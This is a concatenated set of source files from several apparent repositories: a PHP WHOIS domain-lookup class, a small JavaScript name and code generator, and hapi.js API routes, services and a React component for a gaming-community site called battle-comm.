Expiry Date:(.*)/"), "solutions" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "supply" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "support" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "systems" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "tattoo" => array("whois.uniregistry.net", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "technology" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "tips" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "today" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "tools" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "trade" => array("whois.nic.trade", "/Domain Registration Date:(.*)/", "/Updated Date:(.*)/", "/Domain Expiration Date:(.*)/"), "training" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "uno" => array("whois.nic.uno", "/Domain Registration Date:(.*)/", "/Updated Date:(.*)/", "/Domain Expiration Date:(.*)/"), "vacations" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "ventures" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "viajes" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "villas" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "vision" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "voyage" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "watch" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "webcam" => array("whois.nic.webcam", "/Domain Registration Date:(.*)/", "/Updated Date:(.*)/", "/Domain Expiration Date:(.*)/"), "wiki" => array("whois.nic.wiki", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "works" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "xxx" => array("whois.nic.xxx", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "xyz" => array("whois.nic.xyz", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "zone" => array("whois.donuts.co", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/")); public function whoislookup($domain) { $domainAge = $createdDate = $updatedDate = $expiredDate = 'Not Available'; $domain = Trim($domain); if (substr(strtolower($domain), 0, 7) == "http://") $domain = substr($domain, 7); if (substr(strtolower($domain), 0, 4) == "www.") $domain = substr($domain, 4); if (preg_match("/^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$/", $domain)) return $this->queryWhois("whois.lacnic.net", $domain); elseif (preg_match("/^([-a-z0-9]{2,100})\.([a-z\.]{2,8})$/i", $domain)){ $domain_parts = explode('.', $domain); $tld = strtolower(array_pop($domain_parts)); $server = $this->WHOIS_SERVERS[$tld][0]; if (!$server){ return array("Error: No appropriate Whois server found for $domain domain!", $domainAge, $createdDate, $updatedDate, $expiredDate); } if($server == 'net-whois.registry.net.za'){ if(substr($domain,-5) == 'co.za') $server = 'coza-whois.registry.net.za'; if(substr($domain,-6) == 'org.za') $server = 'org-whois.registry.net.za'; if(substr($domain,-6) == 'web.za') $server = 'web-whois.registry.net.za'; } $res = $this->queryWhois($server, $domain); if (preg_match($this->WHOIS_SERVERS[$tld][1], $res, $match)){ $createdDate = Trim($match[1]); $createdDate = $this->cleanDate($createdDate,$tld); $domainAge = $this->converToAge($createdDate); } if (preg_match($this->WHOIS_SERVERS[$tld][2], $res, $match)){ $updatedDate = Trim($match[1]); $updatedDate = $this->cleanDate($updatedDate,$tld); } if (preg_match($this->WHOIS_SERVERS[$tld][3], $res, $match)){ $expiredDate = Trim($match[1]); $expiredDate = $this->cleanDate($expiredDate,$tld); } if(preg_match_all("/WHOIS Server: (.*)/", $res, $matches)){ $server = trim(array_pop($matches[1])); $resTemp = $this->queryWhois($server, $domain); if(trim($resTemp) != '') $res = $resTemp; } return array($res, $domainAge, $createdDate, $updatedDate, $expiredDate); } else return array('Invalid Input', $domainAge, $createdDate, $updatedDate, $expiredDate); } private function queryWhois($server, $domain) { $serverIP = gethostbyname(trim($server)); $extraCom = false; if($serverIP != ''){ if ($server == 'whois.verisign-grs.com' || $server == 'whois.nic.name') { $domain = '=' . $domain; $extraCom = true; } if ($server == 'whois.sidn.nl') { $domain = ' ' . $domain; $extraCom = true; } if ($server == 'whois.denic.de'){ $domain = '-T dn ' . $domain; $extraCom = true; } if ($server == 'whois.nic.io' || $server == 'whois.nic.ac' || $server == 'whois.nic.sh'){ $domain = ' ' . $domain; $extraCom = true; } if($extraCom) { $fp = @fsockopen($serverIP, 43, $errno, $errstr, 20) or $out = "Socket Error " . $errno . " - " . $errstr; fputs($fp, $domain . "\r\n"); $out = ''; while (!feof($fp)) { $out .= fgets($fp); } fclose($fp); }else { if(!defined('TMP_DIR')) define('TMP_DIR', APP_DIR.'temp'.D_S); $queryFile = TMP_DIR . 'query.txt'; putMyData($queryFile, $domain . "\r\n"); $fp = fopen($queryFile, "r"); if (!function_exists('readFunc')) { function readFunc($ch, $fh, $length = false) { return fread($fh, $length); } } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "telnet://$serverIP:43"); curl_setopt($ch, CURLOPT_PORT, 43); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); curl_setopt($ch, CURLOPT_NOPROGRESS, TRUE); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 20); curl_setopt($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_TELNET); curl_setopt($ch, CURLOPT_INFILE, $fp); curl_setopt($ch, CURLOPT_INFILESIZE, filesize($queryFile)); curl_setopt($ch, CURLOPT_READFUNCTION, 'readFunc'); curl_setopt($ch, CURLOPT_VERBOSE, TRUE); $data = curl_exec($ch); curl_close($ch); $out = nl2br($data); } }else{ return 'Unable to resolve WHOIS server IP'; } return $out; } private function converToAge($age) { date_default_timezone_set('UTC'); $time = time() - strtotime($age); $years = floor($time / 31556926); $days = floor(($time % 31556926) / 86400); if ($years == '1') $y = '1 Year'; else $y = $years . ' Years'; if ($days == '1') $d = '1 Day'; else $d = $days . ' Days'; return "$y, $d"; } private function getMyData($url,$ref_url) { $cookie=tempnam("/tmp","CURLCOOKIE"); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2'); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_COOKIE, 1); curl_setopt($ch, CURLOPT_COOKIEFILE,$cookie); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt ($ch, CURLOPT_REFERER, $ref_url); $data = curl_exec($ch); curl_close($ch); return $data; } private function cleanDate($date,$tld) { $date = trim(strip_tags($date)); if ($tld == 'tr') $date = Trim(str_replace('.','',$date)); $date = str_replace('.','/',$date); $date = str_replace('(YYYY-MM-DD)','',$date); if($tld == 'pt') $date = Trim(str_replace('(dd/mm/yyyy):','',$date)); if ($tld == 'fr' || $tld == 'bg' || $tld == 'lu' || $tld == 'mk' || $tld == 'pt' || $tld == 'tf' || $tld == 'tn') $date = str_replace('/','-',$date); if ($tld == 'ee' || $tld == 'fi') $date = str_replace('/','.',$date); if ($tld == 'kr'){ $date = explode('/',$date); $date = Trim($date[0]).'/'.Trim($date[1]).'/'.Trim($date[2]); } if ($date == 'before Aug-1996') $date = '01-Aug-1996'; $date = explode('T0',$date); $date = $date[0]; $date = explode('T1',$date); $date = $date[0]; $date = explode('T2',$date); $date = $date[0]; $date = date('jS-M-Y',strtotime($date)); return $date; } public function cleanUrl($site) { $site = strtolower(trim($site)); $site = str_replace(array('http://','https://','www.'), '', $site); $site = parse_url('http://www.'.$site); return $site['host']; } }
3600b97b661c6b3a4cdb1908ad223280a765de66
[ "JavaScript", "Markdown", "PHP" ]
181
PHP
phani2003/a2zseo
298ebf845aab4aaa0b02035746b53d0aa359812f
a16edf02e0fafede06fc83a4a4b399a7f617440d
refs/heads/master
<repo_name>Man1exter/JSreningV4<file_sep>/main.js const btn = document.querySelector(".roll"); const dev = document.querySelector(".name"); const names = ["SŁONICZYK", "SŁONISZEK", "SŁUNIK", "SŁONIACZKO", "SŁONICZYNKA","SŁOWIANECZKO"]; const prefixs = ["Im sure that", "I think", "In my opinion", "I wish"] const showName = () => { const index = Math.floor(Math.random() * names.length); const prefix = Math.floor(Math.random() * prefixs.length); dev.textContent = ` ${prefixs[prefix]}, this name is ${names[index]}`; } btn.addEventListener("click", showName) //------------------------------------ ////RANDOM CODE WITH 10 CHArS :)) //-----//------------------------------------------------ const chars = 'ABCDEFGHIJ0123456789'; const clicks = document.querySelector(".click"); const section = document.querySelector("section"); const codeNumbers = 10; //ilosc numerow const chartsWidth = 10; //dlugosc numerow const functionMoves = () => { for(let i = 0; i < codeNumbers; i++) { let code = ''; for(let i = 0; i < chartsWidth; i++) { const index = Math.floor( Math.random() * 20); code += chars[index]; } const div = document.createElement('div'); div.textContent = code; section.appendChild(div); div.style.lineHeight ="50px"; } } clicks.addEventListener("click", functionMoves ); //--------------------------------- //------------------------------------------ // new function add name on input and show them below after to click add name //------------------------------------------------- //preventDefault - zatrzymuje dzialanie odswiezenia po wpisanoiu i dodanu const users = []; const element = document.querySelector(".user"); const addName = (e) => { e.preventDefault(); const input = document.querySelector(".info") const newUser = input.value; if(input.value.length){ for(user of users){ if(user === newUser){ alert("Don't write this name AGAIN!") return } } users.push(newUser); element.textContent += newUser + ", " input.value = ""; } } const pushButton = document.querySelector(".namee").addEventListener("click", addName);
5659532b2b1edae17707a179d5da2752d56fcf0b
[ "JavaScript" ]
1
JavaScript
Man1exter/JSreningV4
6bcf0359d9e396c97aab96eaac32430db368bfcf
4dff40cb3bafc59ad04171d63db71a99cbf02a5c
refs/heads/master
<repo_name>santiagoflataza/infoProject<file_sep>/infoProject/infoProject/apps/perfil/migrations/0003_profile_rubro.py # Generated by Django 3.0 on 2020-09-28 20:09 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('perfil', '0002_auto_20200925_0819'), ] operations = [ migrations.AddField( model_name='profile', name='rubro', field=models.CharField(default='Rubro...', max_length=30), ), ] <file_sep>/infoProject/infoProject/apps/rubros/models.py from django.db import models class Rubro(models.Model): id = models.AutoField(primary_key = True) nombre = models.TextField(null = False) <file_sep>/infoProject/infoProject/apps/usuarios/forms.py from django import forms from .models import Usuario from django.contrib.auth.forms import UserCreationForm from apps.perfil.models import Profile from apps.rubros.models import Rubro class UserRegisterForm(UserCreationForm): email = forms.EmailField() class Meta: model = Usuario fields = ['username', 'email', '<PASSWORD>', '<PASSWORD>'] class UserUpdateForm(forms.ModelForm): email = forms.EmailField() class Meta: model = Usuario fields = ['username', 'email'] widgets = { 'username': forms.TextInput(attrs={'class': 'form-control'}), 'email': forms.TextInput(attrs={'class': 'form-control'}), } def __init__(self, *args, **kwargs): super(UserUpdateForm, self).__init__(*args, **kwargs) for fieldname in ['username', 'email']: self.fields[fieldname].help_text = None self.fields[fieldname].label = '' ''' def rubros(): GEEKS_CHOICES =( ("1", "One"), ("2", "Two"), ("3", "Three"), ) lista_temporal = list() todos = Rubro.objects.all() for i in todos: lista_temporal.append((i,i.nombre)) print (str(i.id),str(i.nombre)) tupla_temporal = tuple(lista_temporal) print(tupla_temporal) return GEEKS_CHOICES ''' class ProfileUpdateForm(forms.ModelForm): rubro = forms.ChoiceField(choices=Rubro.objects.all()) class Meta: model = Profile fields = ['image','aboutus','instagram','twitter','telefono','rubro'] widgets = { 'image':forms.FileInput(attrs={'class':'btn btn-primary mb-4'}), 'instagram': forms.TextInput(attrs={'class': 'form-control mb-4'}), 'aboutus': forms.TextInput(attrs={'class': 'form-control mb-4'}), 'twitter': forms.TextInput(attrs={'class': 'form-control mb-4'}), 'telefono': forms.TextInput(attrs={'class': 'form-control mb-4'}), } def __init__(self, *args, **kwargs): super(ProfileUpdateForm, self).__init__(*args, **kwargs) for fieldname in ['image','aboutus','instagram','twitter','telefono','rubro']: self.fields[fieldname].help_text = None self.fields[fieldname].label = '' <file_sep>/infoProject/infoProject/infoProject/views.py from django.shortcuts import render, redirect from django.views.generic import CreateView from .forms import CreateUserForm, ProductCreationForm import os,sys sys.path.append(os.path.abspath(os.path.join('..', 'apps'))) from apps.usuarios.models import Usuario from apps.productos.models import Producto from django.urls import reverse_lazy from django.contrib.messages.views import SuccessMessageMixin class signIn(SuccessMessageMixin,CreateView): model = Usuario form_class = CreateUserForm template_name = 'usuarios/registroContenedor.html' success_url = reverse_lazy('login') success_message = " Su cuenta: %(username)s ha sido creada exitosamente " class CreateProduct(CreateView): model = Producto form_class = ProductCreationForm template_name = 'productos/crear.html' success_url = reverse_lazy('login') <file_sep>/infoProject/infoProject/apps/productos/views.py from django.shortcuts import render from django.views.generic import CreateView from django.views.generic.edit import UpdateView, DeleteView from django.views.generic.list import ListView from django.urls import reverse_lazy from django.contrib.auth.mixins import LoginRequiredMixin from django.contrib.auth.decorators import login_required from .forms import ProductCreationForm, ModificacionProducto from .models import Usuario, Producto, Profile from django.contrib.messages.views import SuccessMessageMixin # VISTA BASADA EN FUNCIONES #def Listar(request): # return render(request,'productos/listar.html') ''' @login_required def Crear(request): if request.method == 'POST': user_id = request.user.id form = ProductCreationForm(user_id=user_id) if form.is_valid(): form.save() return redirect('login') else: form = ProductCreationForm() return render(request, 'users/login.html', {'form': form}) ''' class Crear(SuccessMessageMixin,LoginRequiredMixin, CreateView): model = Producto form_class = ProductCreationForm template_name = 'productos/contenedorCrearProducto.html' success_url = reverse_lazy('productos:crear') success_message = " Su producto ha sido creado exitosamente " def form_valid(self, form): form.instance.usuario = self.request.user return super().form_valid(form) class Modificar(UpdateView): model = Producto form_class = ModificacionProducto template_name = 'productos/modificar.html' success_url = reverse_lazy('productos:mostrar') class Eliminar(DeleteView): model = Producto success_url = reverse_lazy('productos:mostrar') <file_sep>/infoProject/infoProject/apps/perfil/migrations/0005_auto_20200929_2131.py # Generated by Django 3.0 on 2020-09-30 00:31 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('perfil', '0004_auto_20200929_1749'), ] operations = [ migrations.AlterField( model_name='profile', name='rubro', field=models.CharField(max_length=30), ), ] <file_sep>/infoProject/infoProject/apps/perfil/migrations/0008_auto_20200930_0946.py # Generated by Django 3.0 on 2020-09-30 12:46 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('rubros', '0001_initial'), ('perfil', '0007_auto_20200929_2150'), ] operations = [ migrations.AlterField( model_name='profile', name='rubro', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='rubros.Rubro'), ), ] <file_sep>/infoProject/infoProject/apps/perfil/migrations/0004_auto_20200929_1749.py # Generated by Django 3.0 on 2020-09-29 20:49 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('perfil', '0003_profile_rubro'), ] operations = [ migrations.AlterField( model_name='profile', name='rubro', field=models.CharField(choices=[('CARPINTERO', 'Carpintero'), ('HERRERO', 'Herrero'), ('OTROS', 'Otros')], default='OTROS', max_length=30), ), ]
d72e166c2b6e1743e0588427bad8a8c64fbd3c6d
[ "Python" ]
8
Python
santiagoflataza/infoProject
8170e0cb373db5e2658a94fd7a0c0ab28c6ae206
f3b47d444c002307ebd5734241806a1ea8bbeb83
refs/heads/master
<repo_name>zdizzle6717/battle-comm<file_sep>/server/chat/handlers/index.js 'use strict'; let sayHello = require('./sayHello.js'); module.exports = { 'sayHello': sayHello }; <file_sep>/compiled-server/utils/formatJSONDate.js 'use strict'; // NOTE: Returns a formatted date. 'timezone' and 'format' arguments are optional // NOTE: Be aware of the timezone set for the current database Object.defineProperty(exports, "__esModule", { value: true }); var _momentTimezone = require('moment-timezone'); var _momentTimezone2 = _interopRequireDefault(_momentTimezone); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var formatDate = function formatDate(input) { var timezone = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'Etc/GMT'; var format = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 'MMMM D, YYYY'; if (!input) { console.log('formatJSONDate.js: Date is undefined'); } var output = _momentTimezone2.default.tz(input, timezone).format(format); return output; };exports.default = formatDate;<file_sep>/server/routes/api/venues.js 'use strict'; import Joi from 'joi'; import { venues } from '../handlers'; module.exports = [ // Venues { 'method': 'POST', 'path': '/api/venues/assignPoints', 'config': { 'tags': ['api'], 'description': 'Add new points assignment', 'notes': 'Add new points assignment by e-mail', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'tourneyAdmin', 'eventAdmin', 'eventAdminSubscriber', 'venueAdmin', 'clubAdmin', 'systemAdmin'] }, 'validate': { 'payload': { 'venueEvent': { 'adminUsername': Joi.string().required(), 'venueName': Joi.string().required(), 'eventName': Joi.string().required(), 'venueAdmin': Joi.string().required(), 'eventDate': Joi.string().required(), 'returnEmail': Joi.string().required(), }, 'players': Joi.array().items(Joi.object({ 'fullName': Joi.string().required(), 'email': Joi.string().required(), 'pointsEarned': Joi.number().required(), 'gameSystem': Joi.string().required(), 'faction': Joi.optional(), 'totalWins': Joi.number().optional(), 'totalDraws': Joi.number().optional(), 'totalLosses': Joi.number().optional(), 'achievementsList': Joi.optional(), })) } } }, handler: venues.create } ]; <file_sep>/server-client/routeConfig.js 'use strict'; export default [ { 'route': '/', 'view': 'index' }, { 'route': '/admin*', 'view': 'admin' }, { 'route': '/achievments*', 'view': 'achievments' }, { 'route': '/assign-points*', 'view': 'assignPoints' }, { 'route': '/forgot-password', 'view': 'forgotPassword' }, { 'route': '/login', 'view': 'login' }, { 'route': '/news*', 'view': 'news' }, { 'route': '/password-reset', 'view': 'passwordReset' }, { 'route': '/players*', 'view': 'players' }, { 'route': '/ranking/search/*', 'view': 'ranking' }, { 'route': '/register', 'view': 'register' }, { 'route': '/store*', 'view': 'store' }, { 'route': '/subscribe', 'view': 'subscribe' }, { 'route': '*', 'view': 'notFound' } ]; <file_sep>/src/services/VenueService.js 'use strict'; import axios from 'axios'; export default { submitPointAssignment: (data) => { return axios.post('/venues/assignPoints', data) .then(function(response) { return response.data; }); } }; <file_sep>/src/components/pieces/AchievementDistribution.jsx 'use strict'; import React from 'react'; import {bindActionCreators} from 'redux'; import {connect} from 'react-redux'; import {Link, withRouter} from 'react-router-dom'; import {AlertActions} from '../../library/alerts'; import {FormActions} from '../../library/validations'; import {handlers} from '../../library/utilities'; import searchSuggestions from '../../library/searchSuggestions'; import {Form, getFormErrorCount, Input, TextArea, Select} from '../../library/validations'; import PlayerService from '../../services/PlayerService'; import AchievementService from '../../services/AchievementService'; import UserAchievementService from '../../services/UserAchievementService'; let SearchSuggestions = searchSuggestions(PlayerService, 'searchSuggestions'); const mapDispatchToProps = (dispatch) => { return bindActionCreators({ 'addAlert': AlertActions.addAlert }, dispatch); } // TODO: add proptypes config let timer; class AchievementDistribution extends React.Component { constructor() { super(); this.state = { 'achievements': [], 'formIsActive': true, 'rpForm': {}, 'validUser': false } this.handleInputChange = this.handleInputChange.bind(this); this.handleSubmit = this.handleSubmit.bind(this); this.handleSearchSuggestionChange = this.handleSearchSuggestionChange.bind(this); this.resetForm = this.resetForm.bind(this); this.showAlert = this.showAlert.bind(this); } componentDidMount() { AchievementService.getAll().then((achievements) => { this.setState({ 'achievements': achievements }); }); } handleInputChange(e) { this.setState({ 'rpForm': handlers.updateInput(e, this.state.rpForm) }); } handleSubmit(e) { e.preventDefault(); if (timer) { clearTimeout(timer); } timer = setTimeout(() => { UserAchievementService.create({ 'UserId': this.state.rpForm.receivingPlayerId, 'AchievementTitle': this.state.rpForm.achievementTitle, 'notify': true }).then(() => { this.resetForm(); this.showAlert('achievementAssigned'); }); }, 300); } handleSearchSuggestionChange(e) { this.setState({ 'rpForm': handlers.updateSearchSuggestion(e, 'id', this.state.rpForm), 'validUser': !!e.target.suggestionObject }); } resetForm(e) { if (e) { e.preventDefault(); } this.setState({ 'rpForm': {}, 'formIsActive': false }, () => { setTimeout(() => { this.setState({ 'formIsActive': true }); }); }); } showAlert(selector) { const alerts = { 'achievementAssigned': () => { this.props.addAlert({ 'title': 'Achievement Assigned', 'message': `A new achiement has successfully been assigned to the selected player.`, 'type': 'success', 'delay': 4000 }); } } return alerts[selector](); } render() { let formIsInvalid = !this.state.validUser || getFormErrorCount(this.props.forms, 'achievementDistForm') > 0; return ( <div className="small-12 columns"> <h2>Assign Achievements</h2> <div className="row"> <div className="small-12 columns"> { this.state.formIsActive && <Form name="achievementDistForm" submitButton={false}> <div className="row"> <div className="form-group small-12 medium-4 medium-offset-2 columns"> <label className="required">Assign to Player...</label> <SearchSuggestions rowCount={7} maxResults={20} name="receivingPlayerId" displayKeys={['id', 'lastName', 'firstName', 'username']} placeholder="Begin typing to search players..." handleInputChange={this.handleSearchSuggestionChange} required={true}/> </div> <div className="form-group small-12 medium-4 columns"> <label className="required">Achievement</label> <Select name="achievementTitle" value={this.state.rpForm.achievementTitle} handleInputChange={this.handleInputChange} required={true}> <option value="">--Select--</option> { this.state.achievements.map((achievement) => <option key={achievement.id} value={achievement.title}>{achievement.title}</option> ) } </Select> </div> </div> </Form> } <div className="form-group text-right"> <button className="button primary" onClick={this.handleSubmit} disabled={formIsInvalid}>Update Player Achievements</button> </div> </div> </div> </div> ) } componentWillUnmount() { if (timer) { clearTimeout(timer); } } } export default withRouter(connect(null, mapDispatchToProps)(AchievementDistribution)); <file_sep>/server/routes/api/users.js 'use strict'; import Joi from 'joi'; import { users } from '../handlers'; import { verifyUniqueUser, verifyCredentials, verifyUserToken, verifyUserExists } from '../../utils/userFunctions'; module.exports = [ // User Logins { 'method': 'PUT', 'path': '/api/users/{id}/activateAccount', 'config': { 'tags': ['api'], 'description': 'Activate user account', 'notes': 'Activate user account', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['systemAdmin'] }, 'validate': { 'params': { 'id': Joi.number().required() } } }, 'handler': users.activateAccount }, { 'method': 'POST', 'path': '/api/users/authenticate', 'config': { 'pre': [{ 'method': verifyCredentials, 'assign': 'user' }], 'handler': users.authenticate, 'tags': ['api'], 'description': 'Authenticate an existing user', 'notes': 'Authenticate an existing user', 'validate': { 'payload': Joi.alternatives().try( Joi.object({ 'username': Joi.string().min(4).max(50).required(), 'password': Joi.string().min(8).required(), 'rememberMe': Joi.optional() }), Joi.object({ 'username': Joi.string().email().required(), 'password': Joi.string().min(8).required(), 'rememberMe': Joi.optional() }) ) } } }, { 'method': 'POST', 'path': '/api/users/getMe/{token}', 'config': { 'pre': [{ 'method': verifyUserToken, 'assign': 'user' }], 'handler': users.authenticate, 'tags': ['api'], 'description': 'Authenticate an existing user from a supplied jwt', 'notes': 'Authenticate an existing user from a supplied jwt', 'validate': { 'params': { 'token': Joi.string().required() }, 'payload': { 'password': Joi.string().required(), 'rememberMe': Joi.boolean().required() } } } }, { 'method': 'PUT', 'path': '/api/users/{id}/blockUser', 'config': { 'tags': ['api'], 'description': 'Block or unblock a user', 'notes': 'Block or unblock a user', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['systemAdmin'] }, 'validate': { 'params': { 'id': Joi.number().required() }, 'payload': { 'accountBlocked': Joi.boolean().required() } } }, 'handler': users.blockUser }, { 'method': 'POST', 'path': '/api/users', 'config': { 'pre': [{ 'method': verifyUniqueUser }], 'handler': users.create, 'tags': ['api'], 'description': 'Register a new user', 'notes': 'Register a new user', 'validate': { 'payload': { 'username': Joi.string().min(4).max(50).required(), 'email': Joi.string().email().required(), 'password': Joi.string().min(8).required(), 'role': Joi.string().required(), 'firstName': Joi.string().required(), 'lastName': Joi.string().required() } } } }, { 'method': 'GET', 'path': '/api/users/{id}', 'config': { 'tags': ['api'], 'description': 'Get one player by id', 'notes': 'Get one player by id', 'validate': { 'params': { 'id': Joi.number().required() } } }, 'handler': users.get }, { 'method': 'GET', 'path': '/api/users/username/{username}', 'config': { 'tags': ['api'], 'description': 'Get one player by username', 'notes': 'Get one player by username', 'validate': { 'params': { 'username': Joi.string().required() } } }, 'handler': users.get }, { 'method': 'GET', 'path': '/api/users', 'config': { 'tags': ['api'], 'description': 'Get all players', 'notes': 'Get all players', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'tourneyAdmin', 'eventAdmin', 'eventAdminSubscriber', 'venueAdmin', 'clubAdmin', 'systemAdmin'] }, }, 'handler': users.getAll }, { 'method': 'PATCH', 'path': '/api/users/{id}', 'config': { 'tags': ['api'], 'description': 'Patch a User Login by id', 'notes': 'Patch a User Login by id', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'tourneyAdmin', 'eventAdmin', 'eventAdminSubscriber', 'venueAdmin', 'clubAdmin', 'systemAdmin'] }, 'validate': { 'params': { 'id': Joi.number().required() }, 'payload': { 'id': Joi.optional(), 'customerId': Joi.optional(), 'email': Joi.optional(), 'rewardPoints': Joi.number(), 'rpPool': Joi.optional(), 'firstName': Joi.optional(), 'lastName': Joi.optional(), 'bio': Joi.optional(), 'member': Joi.optional(), 'subscriber': Joi.optional(), 'tourneyAdmin': Joi.optional(), 'eventAdmin': Joi.optional(), 'eventAdminSubscriber': Joi.optional(), 'newsContributor': Joi.optional(), 'venueAdmin': Joi.optional(), 'clubAdmin': Joi.optional(), 'systemAdmin': Joi.optional(), 'mainPhone': Joi.optional(), 'mobilePhone': Joi.optional(), 'streetAddress': Joi.optional(), 'aptSuite': Joi.optional(), 'city': Joi.optional(), 'state': Joi.optional(), 'zip': Joi.optional(), 'facebook': Joi.optional(), 'twitter': Joi.optional(), 'instagram': Joi.optional(), 'googlePlus': Joi.optional(), 'twitch': Joi.optional(), 'website': Joi.optional(), 'username': Joi.optional(), 'totalWins': Joi.optional(), 'totalLosses': Joi.optional(), 'totalDraws': Joi.optional(), 'totalPoints': Joi.optional(), 'eloRanking': Joi.optional(), 'club': Joi.optional(), 'dob': Joi.optional(), 'youtube': Joi.optional(), 'hasAuthenticatedOnce': Joi.optional(), 'visibility': Joi.optional(), 'shareContact': Joi.optional(), 'shareName': Joi.optional(), 'shareStatus': Joi.optional(), 'newsletter': Joi.optional(), 'marketing': Joi.optional(), 'sms': Joi.optional(), 'allowPlay': Joi.optional(), 'accountActivated': Joi.optional(), 'accountBlocked': Joi.optional(), 'createdAt': Joi.optional(), 'updatedAt': Joi.optional(), 'UserId': Joi.optional(), 'UserNotifications': Joi.optional(), 'UserPhotos': Joi.optional(), 'Friends': Joi.optional(), 'GameSystemRankings': Joi.optional(), 'Files': Joi.optional(), 'UserPhoto': Joi.optional(), 'UserAchievements': Joi.optional() } } }, 'handler': users.updatePartial }, { 'method': 'PUT', 'path': '/api/users/{id}/updateRole', 'config': { 'tags': ['api'], 'description': 'Update user role', 'notes': 'Update user role', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['systemAdmin'] }, 'validate': { 'params': { 'id': Joi.number().required() }, 'payload': { 'role': Joi.string().required() } } }, 'handler': users.updateRole }, { 'method': 'PUT', 'path': '/api/users/{id}/updateRP', 'config': { 'tags': ['api'], 'description': 'Update user reward points', 'notes': 'Update user reward points', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['venueAdmin', 'systemAdmin'] }, 'validate': { 'params': { 'id': Joi.number().required() }, 'payload': { 'direction': Joi.string().valid('increment', 'decrement').required(), 'rewardPoints': Joi.number().required() } } }, 'handler': users.updateRP }, { 'method': 'PUT', 'path': '/api/users/changePassword/{id}', 'config': { 'tags': ['api'], 'description': 'Update User Password from Account Dashboard', 'notes': 'Update User Password from Account Dashboard', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'tourneyAdmin', 'eventAdmin', 'eventAdminSubscriber', 'venueAdmin', 'clubAdmin', 'systemAdmin'] }, 'validate': { 'params': { 'id': Joi.number().required() }, 'payload': { 'username': Joi.string().required(), 'password': Joi.<PASSWORD>().min(8).<PASSWORD>(), 'newPassword': Joi.string().required() } }, 'pre': [{ 'method': verifyCredentials }], 'handler': users.changePassword } }, { 'method': 'POST', 'path': '/api/users/resetPassword/', 'config': { 'tags': ['api'], 'description': 'Send E-mail to Reset Password', 'notes': 'Send E-mail to Reset Password', 'validate': { 'payload': { 'email': Joi.string().required() } }, 'pre': [{ 'method': verifyUserExists, 'assign': 'user' }], 'handler': users.resetPassword } }, { 'method': 